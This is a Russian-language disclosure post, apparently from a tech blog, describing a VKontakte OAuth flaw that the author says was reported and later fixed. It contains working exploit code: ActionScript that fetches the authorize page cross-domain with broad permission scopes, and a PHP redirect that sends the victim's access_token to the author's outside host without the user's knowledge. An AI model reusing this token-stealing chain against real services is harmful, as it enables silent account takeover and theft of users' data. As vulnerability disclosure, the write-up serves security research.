Вступление
Данная уязвимость была найдена мною порядка двух месяцев назад, или даже больше.
Тогда информация была отправлена разработчикам, и они успешно её фиксанули.
Как мне на тот момент показалось.
Вскоре стало понятно, что они её вовсе не пофиксили, а просто ограничили доступ к сообщениям, на которые я в тот раз обратил внимание разработчиков.
Процесс получения доступа, я постараюсь достаточно подробно описать под катом.
Поиск
Собственно мысль, что возможно получить доступ к апи без ведома пользователя, появилась почти сразу, как только я начал работать с методами для Standalone приложений.
В тот момент ВКонтакте уже использовали oauth авторизацию.
Ничего особо хитроумного не было, просто oauth авторизация находилась на одном домене с апи 2.0, а соответственно, и с файлом crossdomain.xml, который позволяет выполнять запросы с любого сервера.
Не долго думая, я начал писать реализацию.
Использование
Сразу предупреждаю читателей о двух вещах:
- Мой способ может показаться немного странным.
- Мой код весьма быдловат, но, к сожалению, по другому не умею.
Мой коварный хитрый план подразумевал, что пользователь будет направлен на flash приложение, которое сгетит страницу авторизации, а затем спарсит ссылку для авторизации.
Поехали.
Пункт первый — flash приложение.
По скольку флешки могут выполнять свободные кроссдоменные запросы всюду, где есть подобающий crossdomain.xml — это был единственный способ аккуратно получить ссылку на авторизацию.
Код флешки незамысловат, и, пожалуй, это самая сложная часть, по крайней мере для меня, т.к. ActionScript я практически не знаю.
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.events.Event;
var auth_page = new URLLoader();
this.addEventListener( Event.ADDED_TO_STAGE, onAddedToStage );
function onAddedToStage(e: Event): void {
auth_page.addEventListener(Event.COMPLETE, auth_load);
//Получаем страницу авторизации
auth_page.load(new URLRequest('http://api.vkontakte.ru/oauth/authorize?client_id=2725857&scope=offline,ads,notifications,groups,wall,questions,offers,pages,notes,docs,video,audio,photos,friends,notifi&redirect_uri=http://api.vk.com/blank.html&display=page&response_type=token'));
}
function auth_load(e:Event):void {
var wrapper: Object = Object(parent.parent);
var auth_str = auth_page.data;
trace();
//редиректим пользователя на iframe приложение, а в хеше указываем отпарсеный урл
wrapper.external.navigateToURL(new URLRequest('http://vkontakte.ru/app2725881#'+auth_str.toString().substr(auth_str.indexOf("location.href")+17, 162)));
}
Тут есть одна маленькая хитрость.
Просто так flash приложение редиректить не может, из-за политик безопасности браузеров.
Но у ВК есть, точнее был, сейчас его убрали из доков, специальный метод для перенаправления пользователя на страницу внутри ВКонтакте.
Особой проблемой это не стало, впрочем, т.к. имеются iframe приложения, которые могут перенаправлять куда захотят.
Пункт второй — iframe приложение.
В iframe приложении нам необходимо перенаправить пользователя на указанный url, сделав пару замен.
<?
header('Location: '.str_replace(array('https','blank.html'), array('http', '//thecops.ru/hi.php'), $_GET['hash'])));
?>
На этом можно и закончить.
На странице hi.php мы получаем access_token, с правами на все методы кроме сообщений.
Наглядный пример, вы можете увидеть тут.
Спасибо за внимание.
UPD:
Фикс произведен, при том весьма шустро.
Пример уже не действителен.